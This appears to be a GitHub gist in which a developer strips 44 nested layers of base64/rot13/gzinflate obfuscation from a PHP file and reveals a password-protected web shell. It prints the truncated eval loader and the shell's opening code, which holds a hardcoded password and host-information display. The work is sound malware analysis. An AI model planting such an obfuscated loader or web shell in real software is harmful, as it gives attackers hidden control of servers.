Created
September 19, 2011 22:34
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Fighting inception obfuscation
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| <?php | |
| // I got this file once | |
| eval(gzinflate(str_rot13(base64_decode('HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=')))); ?> |
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| <?php | |
| // obviously I didn't want it to eval(), so to deobfuscate it i simply did: | |
| print(gzinflate(str_rot13(base64_decode('HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=')))); ?> |
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| and.... | |
| $ php 2.php | |
| eval(gzinflate(str_rot13(base64_decode('HJ23juvIFlI/5w3AgN6F9N57JgPRey...59.5KB.of.code..=') | |
| $ oh crap | |
| -bash: oh: command not found | |
| $ php 2.php > 3.php | |
| $ joe 3.php | |
| <editing...> | |
| $ php 3.php | |
| eval(gzinflate(str_rot13(base64_decode('HJ23juvIFlI/5w3AgN6F9N57JgPRey...59KB.of.code..=') | |
| Friggin inceptions! there might be many of them... |
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| <?php | |
| // and this is how you handle this | |
| function t($code) { | |
| echo "."; // just to detect how many inceptions there were | |
| $code = str_rot13(base64_decode($code)); | |
| $code = gzinflate($code); | |
| $m = array(); | |
| if (preg_match('/str_rot13\(base64_decode\(\'(.+)\'\)/', $code, $m)) { | |
| return t($m[1]); | |
| } | |
| return $code; | |
| } | |
| $code = 'HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE='; | |
| print(t($code)); |
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| $ php deception.php | head | |
| ............................................ // 44 inceptions! | |
| @session_start();@set_time_limit(0);@$pass = $_POST['pass'];$chk_login = true;$password = "tampan";if($pass == $password){$_SESSION['nst'] = "$pass";}if($chk_login == true){if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password){die("<title>.::[ Yogyacarderlink Area ]::.</title><body style=margin:0px;><table border=0 cellpadding=0 cellspacing=0 width=100% height=100% bgcolor=black><tr><td valign=middle align=center><table cellpadding=2 cellspacing=2 width=100 bgcolor=black style='border:1px solid #FFFF00;'><tr><td><table width=100 bgcolor=black style='border:1px dashed #FFFF00;'><tr><td><form method=post><font size=1 face=verdana color=white><b><center>-:: Wellcome to Private sHell ::-</center></b><hr style='border:1px dashed #FFFF00;'><center><input type=password name=pass size=30><br><br><input type=submit value=GO style='background-color: #000000; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #CCCCCC; border-right-color: #999999; border-bottom-color: #999999; border-left-color: #CCCCCC; color: #FFFFFF;'></center></form><b>Host :</b> ".$_SERVER["HTTP_HOST"]."<br><b>IP :</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br><b>Your IP :</b> ".$_SERVER["REMOTE_ADDR"]."</font></td></tr></table></tr></td></table></td></tr></table></body>");}}$language='eng';error_reporting(0);set_magic_quotes_runtime(0);@set_time_limit(0);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);$safe_mode = @ini_get('safe_mode');$version = "denzjhoena Private sHell";if(version_compare(phpversion(), '4.1.0') == -1){$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;$_SERVER = &$HTTP_SERVER_VARS;}if (@get_magic_quotes_gpc()){foreach ($_POST as $k=>$v){$_POST[$k] = stripslashes($v);}foreach ($_SERVER as $k=>$v){$_SERVER[$k] = stripslashes($v);}} | |
| $head = ' | |
| <html> | |
| <head> | |
| <title>[ ? ] denzjhoena shell [ ? ]</title> | |
| <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> | |
| <STYLE> | |
| tr { |
yeah, 44 in total, all steps were the same.
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so, that's 44 layers total, not including the two attempts at the beginning?
also, they didn't try to change the obfuscation methods throughout? that's surprising.